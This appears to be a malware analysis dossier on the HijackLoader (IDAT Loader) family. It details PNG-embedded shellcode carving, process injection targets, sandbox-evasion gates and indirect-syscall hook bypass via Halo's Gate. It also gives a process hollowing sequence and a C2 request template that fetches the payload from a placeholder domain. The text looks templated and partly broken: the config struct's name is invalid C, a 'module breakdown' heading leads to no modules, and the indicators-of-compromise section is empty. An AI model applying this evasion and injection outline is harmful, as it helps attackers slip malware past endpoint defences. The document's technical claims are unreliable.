HijackLoader (IDAT Loader): Forensic Reverse-Engineering & Architectural Dossier

HijackLoader is architected as a modular, multi-tier execution pipeline designed to evade static file inspection, user-mode API hooking, and behavioral heuristic sandboxes. The primary stage is delivered as a 32-bit or 64-bit native PE binary compiled without standard C runtime (CRT) library references, relying exclusively on direct Win32/NTAPI resolving. Strings and API names are hashed using custom algorithms (e.g. CRC32 variants or ROR-13 additive hashes) to prevent static signature extraction. The loader embeds or downloads an image file (typically PNG format). It iterates through the container's structural chunk headers, locating the 'IDAT' (Image Data) markers (0x49444154). Rather than parsing valid image scanlines, the loader carves contiguous blocks of encrypted shellcode concealed within or appended directly after legitimate PNG chunk payloads. Once extracted, a multi-byte XOR or RC4 key embedded within the initial stub decrypts the stage 2 payload into raw memory.

The operator build utility accepts target payload binaries (e.g., Lumma, Vidar, RedLine, Cobalt Strike) and configures deployment parameters: target process for injection (default paths include C:\Windows\System32\smartscreen.exe, C:\Windows\System32\svchost.exe, C:\Windows\SysWOW64\explorer.exe), injection technique (Process Hollowing, Transacted Hollowing, Module Overloading), anti-analysis gate parameters (sleep acceleration checks, memory size threshold > 4GB, minimum 2 CPU cores, hypervisor detection), and C2 fallback URLs hosted on Cloudflare Workers, Discord CDN, or compromised WordPress instances. Configuration flags are serialized into an encrypted struct residing at a calculated offset within the first stage PE resource section or appended to the IDAT blob.

struct HijackLoader_(IDAT_Loader)_Config {
    uint32_t magic;
    char c2_host[128];
    uint16_t port;
    char install_path[260];
    char mutex[64];
    uint8_t aes_key[32];
};

To neutralize user-mode API hooks placed by EDR/AV solutions (e.g., jmp instructions installed in ntdll.dll exports), HijackLoader implements indirect syscall dispatching. It maps ntdll.dll from disk or traverses the InvertedFunctionTable of the in-memory ntdll module to recover clean System Service Numbers (SSNs). When hooks corrupt the entry instructions of target NT APIs (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx), HijackLoader applies the Halo's Gate / Tartarus' Gate algorithm, inspecting adjacent stubs (upward and downward offsets of 32 bytes) to calculate the valid SSN. Rather than executing the syscall instruction in unbacked memory (which triggers EDR callstack verification alerts), HijackLoader loads the SSN into EAX, sets R10 to the first parameter, and executes a direct JMP to a native 'syscall; ret' gadget located inside the legitimate ntdll.dll code section. For payload execution, the loader spawns a target host process in a suspended state (CREATE_SUSPENDED = 0x00000004). It allocates target memory via NtCreateSection / NtMapViewOfSection, copies decrypted PE sections, applies base relocations, resolves the Import Address Table (IAT) using in-memory PE parsing, updates the entry point register via NtSetContextThread, and executes the payload with NtResumeThread.

Concrete technical breakdown of functional modules implemented in the HijackLoader (IDAT Loader) binary:

Outbound network communications rely on WinHttp or WinINet APIs connecting over TLS 1.3 (TCP port 443) to C2 nodes shielded behind Cloudflare reverse proxies. The initial stage dispatches an HTTP/1.1 or HTTP/2 GET request masquerading as standard web image retrieval: 'GET /images/logo_<id>.png HTTP/1.1\r\nHost: <c2_domain>\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...\r\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\r\n\r\n'. The server responds with HTTP 200 OK delivering the carrier PNG image. In active C2 configurations, bi-directional telemetry packets are transmitted via HTTP POST with custom headers ('X-Session-ID', 'Content-Type: application/octet-stream'). Data payloads are compressed with zlib and encrypted using an RC4 or rolling XOR key derived from a seed negotiated during initial handshake.

Indicators of compromise and forensic patterns recorded across laboratory triage: